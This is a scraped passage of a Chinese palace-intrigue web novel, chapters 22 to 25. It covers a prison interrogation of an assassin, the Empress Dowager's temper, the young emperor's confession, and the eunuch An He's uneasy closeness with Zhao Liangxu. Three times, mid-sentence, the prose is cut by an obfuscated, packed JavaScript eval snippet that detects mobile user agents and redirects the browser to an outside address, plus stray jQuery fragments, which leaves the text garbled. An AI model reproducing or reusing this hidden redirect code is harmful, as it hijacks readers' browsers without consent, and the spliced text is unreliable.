安和见状便提前说了:“这哪里用得着让陛下帮忙,我只是近日忙于查办刺客一事,少有时间操心这些,我回去便将钥匙给你罢了。”
他没让李瑛说出口,但李瑛的举动还是让他暗暗心惊。
就这么会空挡,赵凉絮到底同李瑛说了什么?
他本以为是李瑛情绪起伏太大导致对赵凉絮略有依靠,但李瑛真正信任的合该只有他安和一人。
如今这场面真是让他有些说不清了。
安和一心打算必得死死盯着赵凉絮,他一刻不在,赵凉絮就能让事情发展到无法预测的局面上。
整个下午,安和都候在李瑛身边,期间赵凉絮自然也一同陪着。
李瑛在安和的督促下开始了学习。
帝王要掌握的东西很多,他年纪轻轻坐在这个位子上,没多少人逼着他学什么帝王权术,但该会的东西还是要会。
平日里李瑛也不大爱学,今日却格外心不在焉。
他低头学习间多次看向赵凉絮,欲言又止。
安和自然注意到了。
他探究的目光落在赵凉絮身上,一寸寸滑过。
他这几天竟然不自觉和赵凉絮走得近了些,乃至于造成白日那个局面。
安和下意识扭动手上的扳指,不能让赵凉絮再影响了自己。
再影响了李瑛。
安和低头掩住神色。
直到戌时,李瑛才算是完成了任务,一下午被盯着学习,他也耗费了很多精神。
一时之间忘了去寻赵凉絮,待到他反应过来,赵凉絮已被安和带走。
安和说到做到,直接将赵凉絮带到了诏狱。
还未进诏狱的大门,隐隐约约的惨叫便透过厚重的墙,传进赵凉絮的耳朵里。
22. 诏狱
赵凉絮站定,问道:“安公公为何将我带到诏狱来?白日也没说个明白。”
安和笑里藏刀:“赵公主真不知道这几日做了什么吗?带你到诏狱,你猜猜是为什么?”
他话间刻意引导赵凉絮朝恐怖的局面想,便是为了将赵凉絮吓上一吓。
再怎么坚强的人,第一次进了诏狱,腿肚子都是要打颤的。
这狱中有的是刑具和现成的场面,无人不知其威吓。
赵凉絮自言她非赵公主,这般相处下来,她虽心思谨慎,但也是一副没经历过刑狱的样子。
诏狱中的场景,想必赵凉絮难以承受。
“我怎么可能知道?我一向遵纪守法,是京城的好居民。”
真是初生牛犊不怕虎。
安和眯起眸子:“真不知道?你进去便心知肚明了。”
安和嘴上说的隐晦,普通人听了断然会觉得自己进去便要受刑。
安和一想到赵凉絮进去之后可能被吓到僵直苍白模样,本想嘲笑一声,却发现自己没想象中那么快意。
他甚至为可能到来的场景,心中有些不适。
这方站在诏狱门口,想着赵凉絮恐慌的模样,他竟有些......于心不忍?
安和心中暗惊,耳边却传来赵凉絮的声音:“那我们就进去吧。”
赵凉絮这时候跟没事人一样,仿佛听不懂安和语中的恐吓,视诏狱为一个再寻常不过的东西。
“那你就跟好咱家吧。”
安和让门口的侍卫将大门打开,带着赵凉絮进去。
赵凉絮刚踏进诏狱,扑面而来的便是一股浓郁的潮湿发霉的味道。
此处永远不见天日,喜阴的菌种在浸满鲜血的泥土里繁殖。
刚刚还隐约可听到的惨叫如今变得明显清晰起来,环绕在赵凉絮耳边。
赵凉絮呼吸都轻了。
她并非不怕。
她只是明白,安和不会让她以犯人的身份出现在这里,至多是对她进行一些恐吓而已。
那可不能随了他的愿。
白日里升腾起的那一丝异样的喜欢受到了审视。
她真的喜欢这么一个满身算计的人吗?
赵凉絮攥了攥拳头。
她应该不是什么受虐狂才对。
在诏狱压抑的氛围下,赵凉絮的大脑变得比以往更加清晰集中,她开始观察周围的一切。
她和安和穿过一间间牢房,黑洞般的牢房里传来断断续续的痛苦呻吟。
安和目不斜视,不受这些声音的影响。
他并未回头,声音从前方传来:“你同情他们吗?”
赵凉絮并不回答。
“凡是下了诏狱的人,没几个不无辜的。”
“谈不上同情,自保之后没有性命之忧的人才有精力顾及其他人。”
赵凉絮的声音都被穿堂而过带着血腥味的风染上了冷意。
“你倒是很有自知之明。”
两人走到牢房尽头,那里是行刑的地方。
一个血人挂在刑架上,发丝凌乱,沾着干涸的血,也往下滴落着新鲜的血液。
察觉到有人来,刑架上的人艰难地抬起头。
“他招了吗?”
安和问旁边看守在这里的小吏。
“还没招,他嘴硬的很,千岁您两天没来,他便一直说些车轱辘话,眼见是还藏着什么。”
安和饶有兴味地从一旁拿起一根细棍,挑起了血人的下巴。
“你这刺客,好好睁眼看看,咱家旁边站的是谁?”
刺客万分虚弱,尽力将眼珠转向赵凉絮。
看到赵凉絮的那一刻,他被血糊上的眼皮似乎都张大了一些。
“四...四公主。”
他从喉咙里挤出几个字。
安和将视线挪到赵凉絮身上。
她这几日性子稍显活泼,也有时会和他拌嘴,虽不能说性格明媚,但颇有生气。
如今进了这诏狱,见了那日她未见到的刺客,她仿佛又变成了他第一次见到的那样。
满眼都是漠然。
还带着一丝若有若无的讥嘲。
并没有他所预见到的恐慌和泪花,这让他心中莫名轻缓。
刺客艰难地向外吐字:“殿下,太子殿下同你说的话,你果真好好办到了。”
太子殿下。
他口中的太子殿下是赵承新。
在逃的北周皇裔。
她办到了什么?
她竟然与赵承新有联系?
她果真与赵承新有联系?
安和承认,自己有一瞬间,觉得赵凉絮彻头彻尾的骗了自己。
他方才被刺客的一句话煽动了。
可他很快意识到,一句话很难证明什么。
但可以挑拨起什么。
他心中对赵承新的看法刷新了一番,但还是控制不住对赵凉絮带上一丝审视。
一旁小吏拿起刑具,凶狠地逼问。
他说的一句话包含了这几天他们都不曾撬开的信息。
刺客继续说:“我是太子殿下派来的又如何,你们知道......又如何,北周亡国,难道你们南周......便周全无遗吗?”
“南周,也不过筛子而已。”
意有所指,指向不明。
但目前最大的可能是指向了赵凉絮。
赵凉絮从刺客说话起便一直保持沉默,这时她忽然说道:“是那个蠢货教你这么说的?”
刺客闻此,挣着锁链情绪激动。
可身上的伤和几日的叫喊让他一时说不出来什么。
“是戳到你的痛处了?你是他身边的暗卫吧,自作主张擅自行动,你不大听你主子的命令。”
赵凉絮一段话将自己抽离于对方的陷阱当中。
她自己清清楚楚地记得,那些原身的记忆中根本没有刺客语义中带的“勾结”意味。
是刺客刻意将她的身份向“间谍”的身上引,无论是真是假,只要说动了安和,那她就不得不被裹挟到赵承新身边。
“安公公信吗?他说的话。”
赵凉絮扭头问他。
安和不语,只是做了个手势让她继续说下去。
“既然这样,那我也不客气了。”
赵凉絮回头又看向刺客,她在记忆中见过这个暗卫,也翻见过许多原身回到北周的记忆片段。
“你侍奉的主子很是无能,也管不住你的行动,他不光无能,他还恶心。”
刺客的身体浑身抖动起来。
“你是不是觉得赵承新是北周以来最年轻有为的皇子?他处事圆滑事事周到?你觉得有他的带领下北周必定会恢复元气、重振旗鼓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042320|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
刺客断断续续地回答:“那是自然,四殿下,您之前不是也认同吗?”
他还在尝试诱骗。
“那你知不知道,你所效忠的赵承新觊觎他一母同胞的亲妹妹,他看似光明伟正,实则背地里罔顾人伦、违背德行、破坏伦理呢。”
赵凉絮踱步上前,毫不掩饰地摊手嘲讽:“你想要效忠的应该是一个什么样的领导者呢?他那样的?若他能成功,那恐怕只会将已经亡国的北周在史书上再添上一笔猎奇的墨水罢了。”
安和抱胸看着赵凉絮,眼里带上一丝他自己都察觉不到的欣赏。
只是听到“觊觎亲妹妹”时,他微不可察地皱了皱眉。
“说到底,你能自己想出这般奸诈的计谋,你同赵承新也算是臭味相投,不枉做了他十几年的属下了。”
赵凉絮转身,没再管情绪激动的刺客。
她抬头睨了一眼安和:“安公公将我带来此地的目的便是如此了,想来目的已经达到,您继续审问?”
说完她便要走。
“这个点儿了难不成你还想出宫?怕不是走断了腿也到不了府中吧。”
“那安公公您说怎么办?”
安和叫了个人跟着赵凉絮:“自然是去太妃殿中暂住,你不是同太妃关系很好吗?”
他摆摆手,让赵凉絮走了。
赵凉絮到太妃殿中时夜已深,身后跟着的人应当是安和叫来看护她安全的,没有之前被时刻盯着的那种不适。
到了太妃殿中他也就悄然离开了。
小清早就在门口翘首以盼,见到赵凉絮的身影她兴奋地挥手:“快来快来!娘娘都等你好久了!”
小清接上赵凉絮,便止不住地絮叨:“娘娘这几日很是想你呢,我们这些做婢女的都要羡慕死了。”
她忽的降了声音,左右瞧了一下,虽也没什么大用,但是还是让她受了心理安慰,继续悄咪咪地说:“更何况你那天刚随千岁离开,没成想竟然遭了刺客!娘娘第二天才知道消息,本想去看看你,但千岁来了人说你已经出宫。”
她眼神有些担忧:“没什么事吧,不然娘娘会伤心坏的。”
话语间许华月也自殿中出来,见了赵凉絮便迎上来,她左瞧瞧右瞧瞧,握着赵凉絮的手,有些埋怨地说:“你这孩子,手还是这么凉,也不知道好好吃药了没。”
她叹了一声,又问起刺客的事。
赵凉絮笑着安慰,解释了一通,许华月才将赵凉絮放开,说起安和:“安公公早就差人来通知我,说你今日要宿在宫里,可是干什么去了,这么晚才来?”
赵凉絮为了不让许华月又担心起来,便默默说自己只是在陛下那里耽搁久了。
提起李瑛,赵凉絮想起白日里李瑛的异样。
她话在嘴边转了一圈,但想了想许华月兴许也不太明白,便将疑问咽了下去。
见天色已晚,许华月催着赵凉絮赶紧去睡。
“你这脸色恐怕这几日都没睡好,有什么事情明日再说,快去睡觉。”
赵凉絮呆在太妃宫里很是安心,难得让她睡了一场质量不错的觉。
她起床又想起李瑛,深知李瑛昨日那副欲言又止的样子,恐怕不将话说出来也不会安心,因此她找了个理由便去去寻李瑛。
前往乾清宫的路上,她却碰见了个不想碰见的人。
23. 发怒
是太后身边的姑姑芳时。
芳时见了她,有些惊讶,心里估量着赵凉絮的身份,一时没有行礼。
赵凉絮也不在乎,只是她不知道既然见了芳时,会不会太后也在附近。
心中想着,左手边的红墙后边便传来什么撞到地上的闷声,还有略显尖利的女声。
“你这狗奴才!”
芳时反应过来,面色有些难看地拦住赵凉絮:“赵公主这是要去哪?太后娘娘在前边教训奴才呢,您看您是不是可以换条路走?”
那声略显暴戾的声音是属于周明熙的。
赵凉絮心中有些了然,看似礼佛的太后实则脾气差的很。
赵凉絮不太想掺和这档事,她现下说是出入宫中无阻碍,可实际上没什么要紧的身份,这样莽撞前去,她要是被太后抓住为难,一时还真脱不了身。
赵凉絮不经意地问:“这是冲撞了太后娘娘呀?”
芳时滴水不漏地回:“哪有那么严重,不过是惹了娘娘生气,娘娘小做惩戒罢了。”
话语刚落,红墙后便传来两声清脆的巴掌。
同时李瑛的声音也从红墙后传来,有些恐惧:“母后,莫要再打他了。”
是李瑛?
这不是巧了嘛。
她正好要去找他。
这下赵凉絮开始认真思索自己是否该掺和进这事了。
芳时见赵凉絮没有动弹,嘴上不免带了些威胁:“赵公主切莫多管闲事,太后娘娘可是后宫中最尊贵的人。”
赵凉絮挑了挑眉,在芳时不解的眼神下,朝红墙那边喊了一声:“陛下。”
红墙后霎时安静下来。
李瑛自旁边的拱形门后探出头来。
太后紧随其后。
李瑛脸上并无惊喜,甚至有些慌乱:“赵凉絮,你喊我做什么。”
“我本想去乾清宫寻陛下,正巧路过这听到陛下的声音,自然是喊了您一声。”
赵凉絮语含笑意,眼瞳扫过李瑛身后的太后,好奇问道:“不知是何人冲撞了太后娘娘,惹得娘娘生这么大的气?”
周明熙今日裹了件藏蓝色的对襟披风,头上戴了几个金绒花,倒显得风华正茂。
她面色不虞,手往上一抬,芳时眼尖勤快地上前搭住周明熙的手。
“赵公主莫要因我儿给了你些赏识,便当自己真的能手眼通天了,我不过是惩处个小奴才罢了,又何须向你禀报?”
周明熙语气中带着不满。
李瑛回头望了望,语上带了一些焦急:“母后,安公公嘱咐过您,最好别惩处下人,若是叫安公公知道了,您又要心紧难受了。”
太后闻此,像是被踩到尾巴似的,方才摆出一副端庄作态也消失不见,她手一扬,巴掌险些落在李瑛脸上。
李瑛往日的嚣张此时像是全溜走了,不懂得一点反抗,只呆呆望着巴掌落下。
周明熙的手未落到李瑛的脸上。
赵凉絮抓住了她的手。
“看来陛下惯爱教训下人、打人巴掌的习惯是从娘娘这学来的,娘娘同骨肉相处这么些年,只教会了他这个吗?”
周明熙朝后将手扯了出来,大声呵斥:“大胆,你这庶人!如此尊卑不分!谁给你的胆子敢在后宫如此横行霸道!”
赵凉絮收回来了手,拿出帕子擦了擦,这一行径更是刺痛了周明熙的眼。
“自然是安公公给我的胆子。”
瞧着周明熙脸上几乎扭曲的面容,赵凉絮腹诽了一句。
拿出安和那个太监的做派还真是好用,就光擦手的动作都让周明熙破了大防。
周明熙听到安和的名字,手下不自觉抓紧,尖利的指尖嵌进芳时的肉中,让她冷汗层生。
她颇有些疯癫地喃喃自语:“安和,不过一个没了根的太监......他有什么骨头,放在以前——”
芳时听了这话,此时也顾不上什么尊卑分明,连忙捂着周明熙的嘴。
她小声急切:“娘娘,咱们在外边可不能这么说!”
芳时拉着周明熙匆匆离开,也顾不上红墙后被惩处的宫人。
此时的李瑛没了昨日赵凉絮见到的伶俐,也不存先前昏君样的傲慢。
整个人怔怔的。
赵凉絮瞧了眼那个遭了殃的宫人,是个再普通不过的小火者。
小火者头上磕出一个有些深的伤口,印着巴掌大脸高高肿起,他知道是赵凉絮的插入救了他,连忙磕头谢恩。
赵凉絮摆摆手,让剩余的宫人赶紧带他去医治。
其余宫人你看我我看你,发觉李瑛也没什么指示,最终都听了赵凉絮的安排。
此时只剩赵凉絮和李瑛二人,还剩两个宫人在一旁等候,他们得始终跟着李瑛。
赵凉絮在李瑛眼前晃晃手。
“赵凉絮,你不必这样,我没傻。”
李瑛声音闷闷的。
赵凉絮笑了,其余什么也没说,只建议了一句:“我们去御花园走走。”
两人也没什么心情在御花园赏花,自找了一处凉亭休息,李瑛异常沉默。
赵凉絮也不急着说什么,她觉得自己简直是个耐心温柔的知心大姐姐。
这句心里话要是被安和听到了,恐怕他质疑嘲笑的眉毛都得挑上天了。
看着亭边上的池子,李瑛开口了:“赵凉絮,之前你在母后殿中,我的确想动手,是我不对。”
赵凉絮倒是没想到,李瑛开口第一句话是道歉。
他继续说:“你当时是不是觉得,我同母后格外的亲。”
“我真的是想同母后搞好关系的,母后是我的母亲,我怎么能不想讨她的欢心呢?”
李瑛声音怏怏的。
“赵凉絮你,其实早就发现我偷偷藏着什么了吧。”
闻此,赵凉絮诚实回应:“并非,我昨天才察觉到的。”
李瑛低着的头抬起来,含着莫名情绪看了她一眼:“早知晚知都不过如此了,你是不是觉得第一次见面,我活脱脱一个昏君?”
赵凉絮颌首:“当然,动不动便上手要打人,不明是非情绪敏感,小小年纪就一副浸淫了皇权的模样,感觉没救了。”
李瑛有些呆:“你、你说话怎么这么直白,难道你不会委婉安慰我吗?”
“唉算了,难怪你和别人不一样。”
李瑛摇摇头,一副少年老成的模样。
“若想给你讲清楚,可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042321|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能还是要从安公公选了我开始。”
“当时父皇重病垂危,朝中每个父皇的血脉都卯足了劲,想拿到父皇的一纸诏书,但父皇越病重,越不信自己野心勃勃的儿子们,他只相信自己的近侍,也就是那时,安公公得到了皇权之下最高的权力,成了掌印太监。”
李瑛觉得同赵凉絮面对面讲话有些不自在,便将视线投到亭边湖中:“可安公公也不只想做一个掌印太监,父皇陷入昏睡当中,已无力再拟诏书,兄长们便都盯上了安公公,连太子也不例外。”
“我是真的恨他们的,凭什么他们能锦衣玉食阖宫尊敬,而我却苦苦挣扎在皇宫最阴暗的一角,做父皇无数个儿子中的最不受宠的那个。”
谈到这,李瑛嘴角都有些下拉。
“也幸亏,我会装傻,安公公绝对不会选那些太露锋芒的皇子,但也不会选那些蠢到令人发指的皇子,我装的最合安公公意,但也费了不少劲让安公公选了我。”
为何费了不少劲。
赵凉絮还没问出来,李瑛便先答了出来:“我不知道为何,安公公极度厌恶我的母后,想来安公公是想另择他人的,可我实在得他的意,他最终还是除掉了大多数的皇子。”
李瑛想笑,但是笑不出来:“可父皇留下的孩子太多,安公公也杀不完。安公公兴许也时刻衡量着,我的合适程度。”
“所以我得变成安公公希望的那种,毫无威胁的皇帝,需得不理朝政只图享乐。”
“说到底,唯有安公公给了我机会,将我拉出了那段我不愿再回忆的日子。也是安公公,即使他是假装的,是有目的的,我也真的算是从他那感受到了关切。”
“我心里真是依赖着安公公的,所以我也想让这样的日子再久一些。”
李瑛转过头,嘴里带上一丝哭腔:“可我再怎么明白,我也只是个十岁多的小孩,你说,我都这般配合了,我却始终不能理解,安公公又为何让我从太傅学,又时刻盯着我的功课,近乎教唆般让我成为一个明君呢?”
“我看不透安公公,可能并不是我装作适合安公公,而是安公公早就将我看透了,其实我也恰恰合了他的意?”
“我终日惶恐。”
他的眼睛亮闪闪的,是含着不解与恐惧的泪。
“可昨天——你从刺客手上救了我,我真的信你——比起安公公,我便是信你了,我才一时不察,在你面前自傲些了。”
“我真的害怕,你会将这件事告诉安公公,若是他知道,那一定会另谋他路,接下来他会选哪个皇兄呢,兴许是十二哥,他的年龄同我最近......”
李瑛的确是个聪敏的人,他很小便知道了很多。
可再聪敏,他也不过是个小孩。
对事情的认知,总是受限于年龄。
赵凉絮摇摇头,给李瑛吃了一剂定心丸:“我不会告诉他的,否则,我昨天有和安公公单独相处的机会,早就告诉他了。还谈什么今日特地来寻你呢?”
李瑛不语,他摸了把泪水,看到袖子上的泪痕,又不自觉无奈:“我也算是当了天底下最尊贵的人了,连泪都能一把抹在龙袍上。”
他又有些不确定地问赵凉絮:“你真的不会告诉他吗?”
24. 花园
“不会,可你能确定安公公当真一点也不知道吗?”
她自己没那个闲心告诉安和,告密这件事目前来看是对她一点用处也没有的。
李瑛沉默了。
他当然自己也不确定,甚至他许多次都会暗暗将事情往不利的那个方向揣测。
说曹操曹操便到。
安和早得了人来通传早上发生的事,审人审到一半便来寻李瑛二人。
他一到便见往日无法无天的李瑛正坐在凉亭里泪眼婆娑地同赵凉絮说些什么。
李瑛瞧见安和过来,身子抖了一下,赶忙将眼泪抹掉。
“陛下,您这是?”
安和一时还真是摸不着头脑。
这才多久没看着赵凉絮,怎么又跟李瑛凑到一块?
李瑛还一副悲痛难受的样儿。
安和将赵凉絮扯到一边:“赵凉絮,赵凉絮!”
他真是不知道该说些什么了。
赵凉絮“哎哎”应了两声,没多说什么,摆出老老实实的样子站那等安和询问。
“你就没什么要说的吗!”
“安公公问,我当然会回答,可安公公不问,我怎么知道答些什么呢?”
安和觉得脑仁疼极了。
“那你说,这才多久,你又和李瑛说什么了?他怎么成了这个样子!”
赵凉絮拉出早上发生的事说了一通。
“安公公明鉴,我是不知道太后娘娘怎么火气那么大,但陛下显然因太后娘娘发火显得手足无措,我自然得安慰一番。”
赵凉絮背手,歪头笑道:“小孩子嘛,爱哭也是合理。”
一派胡言。
安和自知早上发生的事,但赵凉絮口里的话绝对不能轻信。
“他是陛下,是天子,他自己可以这样说。”
“你不能,懂吗?”
安和试图将两人之间的关系拉的远一些,至少不能再让李瑛这般轻信赵凉絮。
“可陛下就是如此,想来陛下已将我视作他的好友了,他昨日还想替朋友将钥匙要回来呢,可惜没来得及说。”
赵凉絮又“不小心”提到了钥匙。
这般态度竟将安和都噎了一下。
“少不了你的钥匙!”
从赵凉絮这是问不出什么,他没好气地将赵凉絮赶回安府。
“你这几日在京中勤快点,否则没什么进度,我就是不管了陛下,也得让你好看!”
安和放下一句狠话,准备再好生问问李瑛究竟发生了什么。
至于事出缘由......
早上周明熙生事,分明是忘了他的警告。
甚至惩罚的还是一个小太监,暗自在发什么火他当然清楚。
安和眼眸里爬满阴冷。
赵凉絮总算是又回到安府,下马车时秋风吹过,赵凉絮觉察出来天气又比前几日冷了一些。
她并未直接回到小院,反而是拉住一个府中婢女问清了安和口中那棵歪脖子树的位置。
说来位置也巧。
正正好在那晚昙花团的附近。
当日夜里太黑,她也没注意旁边都有些什么奇形怪状的树,这般问清楚后,她立刻生了兴趣。
想来那处在白日也是道不错的景致。
赵凉絮心中兴致大发,回到院中拉了竹木一同去寻那棵歪脖子树。
“公主,我们这样好吗?”
竹木显然还是怕安和的。
她觉着在安府中这样“横行霸道”会引来安和的不满。
“怕什么,安公公自己都说了我爱怎么折腾怎么折腾,想来他没那么小气。”
赵凉絮安慰竹木。
凭借还不错的记忆,赵凉絮领着竹木顺利到了歪脖子树旁。
从白天一看,赵凉絮才发现,这处有池塘有昙花的地方算是一处没太刻意维持的花园。
显然安和受惯了好东西,别人给的奉承他也不至于清正到拒绝,诸如花草一类就都移植安置到了此处。
那日夜里所见的昙花如今还剩几朵花苞未开,想来这几日夜里还是能再施展一番昙花一现的。
只是如今的花骨朵实在不多,晚上再怎么开放也不如赵凉絮前几日见的那场绽放了。
而那棵安和嘴里的歪脖子树当真是有些岁月了,单看那枝干便能知晓。
这棵树的主枝干弯成一道弧形,分着生长的枝干中显然有处格外粗壮,朝着靠墙的一侧延伸生长。
而其弯曲程度也刚好适合一个人躺在上边,于赵凉絮而言实在是再合适不过。
赵凉絮摩拳擦掌准备爬上去。
竹木则小心护在下边,虽然树并不是太高,但也需要赵凉絮借着凸出处往上爬两下。
赵凉絮还算灵活,成功地爬到了上边,然后自然地躺在了上边,脚抵着树杈交叉处,十分安全。
她接过竹木手中的书。
竹木确认了赵凉絮足够平稳,便去一旁看她感兴趣的植物。
幸好如今凉了一些,但又没到格外冷的地步。
赵凉絮微眯着眼,感受徐徐吹来的风。
她这样躺着,侧脸便能看到树下的奇珍异草,抬头也能望见蔚蓝的天,歪脖子树的枝干虽有些粗糙,但也无伤大雅。
赵凉絮翻着从安和书房里拿出来的前朝野史,看的津津有味。
如今她看的多了,也逐渐熟悉了古文的遣词造句,这本书放她手上这么多天,总算是看完了。
她将看完的书搭在胸口,直望着天空发呆。
竹木不时抬头关注赵凉絮,虽然看着赵凉絮在树上呆的很安稳,但念及赵凉絮如今不算健壮的身体素质,她还是略有些担心。
赵凉絮看着澄碧的天空,内心逐渐安静下来。
也开始思索起她对安和的感觉。
她觉得那日的抬头对视属实不算什么。
满打满算,她来安府不过一月有余,甚至她也不是每日都能见到安和。
她和安和相处的时间并不多。
难道只那次对视,她就能确定了自己喜欢安和吗?
兴许只是离得太近,人正常的反应罢了。
或许并不是因喜欢而引起的心动,而是因为被吓了一跳。
赵凉絮脑袋里转圜着一个个合理化的想法。
她垂眼又不小心略过那片昙花丛。
脑子里不可避免地想起了那日柔软的触感。
安和那么洁癖的人,当日却鬼使神差地同她一起坐在地上,还真是不像他的风格。
甚至于,赵凉絮想起自己险些勒死安和的那一次。
安和竟然如此大度,竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042322|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然一点都没怪罪她。
赵凉絮这般想着出了神。
不曾注意到安和已经站在歪脖子树下。
安和自宫中回来便听到府中人的窃窃私语,他一问便得知赵凉絮对府中那棵歪脖子树颇有想法。
他这才想起来自己曾经提过一嘴的话。
难不成赵凉絮真去爬树了?
安和犹疑地前往查看,果真发现赵凉絮正躺在树上悠然自得。
她的衣袖和裙摆垂在树下,随风轻轻摆动着。
安和并未直接出声。
竹木见到安和一脸惊恐,安和威胁般让竹木保持安静。
安和背手抬头望着赵凉絮,赵凉絮侧着头望天,不知在想些什么。
真是拿安府当成她家了。
安和也没想到赵凉絮竟如此大胆,可他心中并无生出什么不快来。
赵凉絮一只手微微撑起身子,放在胸口的那本书随着赵凉絮的动作不小心掉了下来。
她被惊了一下,想将手伸出去接住。
这一低头便看见了不知何时站在那的安和。
那本书稳稳落在了安和的手上。
还真是不能在脑子里暗暗议论人家,这不,安和这便悄悄出现在了这。
赵凉絮麻利地爬下树,将身上衣衫抖了抖,抖出几片树上的叶子。
“安公公今日回来的可真早。”
赵凉絮问候道。
“你倒是心里头一点儿事不搁,整日清闲的很。”
安和点了赵凉絮一句。
赵凉絮往前迈一步,凑近了说:“这可是安公公之前同我说好的,府中的歪脖子树任我折腾,我只是爬上去休息了会,怎么能叫心里一点事不搁呢?想来该是将安公公的话好好放到心上了才对。”
她嘴上说着,心里却想的是所谓的喜欢。
当真喜欢?
她需得确认一番。
安和见到赵凉絮往前凑,只当她是没有边界感,自己又向后小退一步。
“你真是该记的话不记。”
他边说着,边从袖子里拿出一把古铜色的钥匙。
“你在陛下面前念叨的钥匙,这下给了你,你该安心了?”
安和不想同赵凉絮有什么接触,原本想着将钥匙轻轻往前一扔,这个距离赵凉絮必能接到。
赵凉絮看出安和意图,抢先一步一把攥上安和拿着钥匙的那只手。
她感受到安和的手指吓得抖了一下。
那捏在手指间的钥匙也落到了赵凉絮的掌心。
不知是否是太监的原因,安和的手指修长,皮肤摸起来格外光滑。
既已提到“摸起来”,自然是赵凉絮的手指不安分地在安和皮肤上扫了两下。
她没一点不适,甚至还有心情观察安和的神情变化。
安和费力地将手抽回来,眼含震惊地看着她。
倒像是她非礼了安和一般。
安和掏出已不知是第几条帕子,将手在上揉搓。
“赵凉絮,你疯了不成?”
他的声音夹着一些愤怒,他只觉得赵凉絮在刻意辱他。
辱他是个太监,不能拿她怎么样。
辱他并非一个男人,也不必担心这般紧握着异性的手,会害了她的名声,会破了所谓的男女大防?
25. 醉花坊
赵凉絮适时地收回手。
她的确不厌恶肢体接触,但单论手的接触能说明的东西很少。
她看向安和忙着用帕子擦手,一时间不知道说什么。
“安公公,我很脏吗?值得你这样擦手?”
安和顿住了。
并非是他觉得赵凉絮脏。
这话说出来实在听着引人误会。
是他觉得自己......
他不再擦手,只是将帕子攒进自己的手心,将帕子捏的皱巴巴的。
“你是故意的?”
前几次的接触他都认同是不小心,是赵凉絮实在不顺应京城、宫中的规矩,导致两人之间总有磕碰。
可刚刚,她分明是故意的。
赵凉絮耸肩,脸上淡了一些笑容:“安公公竟是如此嫌弃我?”
她不等安和有所回复,便又继续说:“安公公嘱咐的我可都记着,明日我自会好好在京城里晃悠,好让安公公早日解决了心腹大患。”
她刻意加重了“早日解决”四字。
也不知早日解决的该是逃亡的赵承新,还是她这个祸患?
赵凉絮一副心事重重的模样,领着竹木回去。
安和看着赵凉絮离去的身影,竟然看出一丝萧瑟的意味在。
她仿佛,是有些伤心了。
赵凉絮背着安和,安和自然见不到赵凉絮有些勾起的嘴角。
她已经确认自己不排斥和安和有简单的肢体接触。
但是这不代表着她真的喜欢安和,她还得再多试试。
第二天一大早,赵凉絮便起床去芝兰堂。
她将新加的一味药材熬进了平日里喝的药里,也不知道是不是心理反应,的确觉得效果显著了一些。
她准备让邱澄再诊断一番。
只是进了芝兰堂,却发现邱澄不在,唯有小柳儿在坐堂。
小柳儿解释道:“师父今日随她的外祖父有事情要忙,想来是要给什么贵人去问诊了。”
“若赵公主不介意的话,可以由我来诊断一番。”
赵凉絮点了点头,将手伸过去。
小柳儿将手指搭在赵凉絮手腕,沉吟一会:“的确如师父说的那般,赵公主的脉象很虚弱,不过喝了药后,眼间慢慢好转。”
她拿出张册子记录下什么,然后抬头笑道:“这味药果真是很有作用的,师父得知一定会很欣慰,赵公主便放心吃就行。”
赵凉絮心情很好,她也朝小柳儿回以微笑。
今日来求医取药的人不多,两人是同龄人,相处起来也自得。
赵凉絮见小柳儿总是朝外张望,便问:“你是在等什么人吗?”
“哪有,不过是等师父回来,我今日本是想去醉花坊一趟,那里兴许还有些我母亲的遗物,她当年也算是花魁,应当会有点东西留在醉花坊的。”
小柳儿手肘撑着桌面,手掌托着下巴,这时多了几分少女姿态:“前些年还是不太敢去醉花坊,但这几年攒钱攒的也多了,想着还是去寻一寻母亲的东西。”
“不过今日等师父回来,恐怕天色都有些晚了,我打算明日再去。”
赵凉絮望着小柳儿那张年轻的脸,问道:“你是要自己去吗?不让邱澄陪你去?单独一个女子去醉花坊那种地方想来不太安全。”
小柳儿有些愁眉苦脸:“可芝兰堂也需要医师坐堂,除了我便是师父了,我们两个一同去的话只能将芝兰堂关上,但有些回诊的病人是等不得的。”
“那不如明日我陪你去?”
小柳儿有些惊讶地望着赵凉絮:“这怎么好麻烦你。”
小柳儿轻轻握住赵凉絮的手,柔声道:“你如今在城中也身染是非,若是叫认识你的人见到你去了醉花坊,指不定那些人在背后又要如何说些让人难受的话。”
她还是想拒绝赵凉絮。
“无事,我就当左耳进右耳出,再不济我拿出九千岁的名字压一压他们,我的名声够烂了,也不差这几句。”
赵凉絮一脸无所谓,倒是让小柳儿更觉着两人相似。
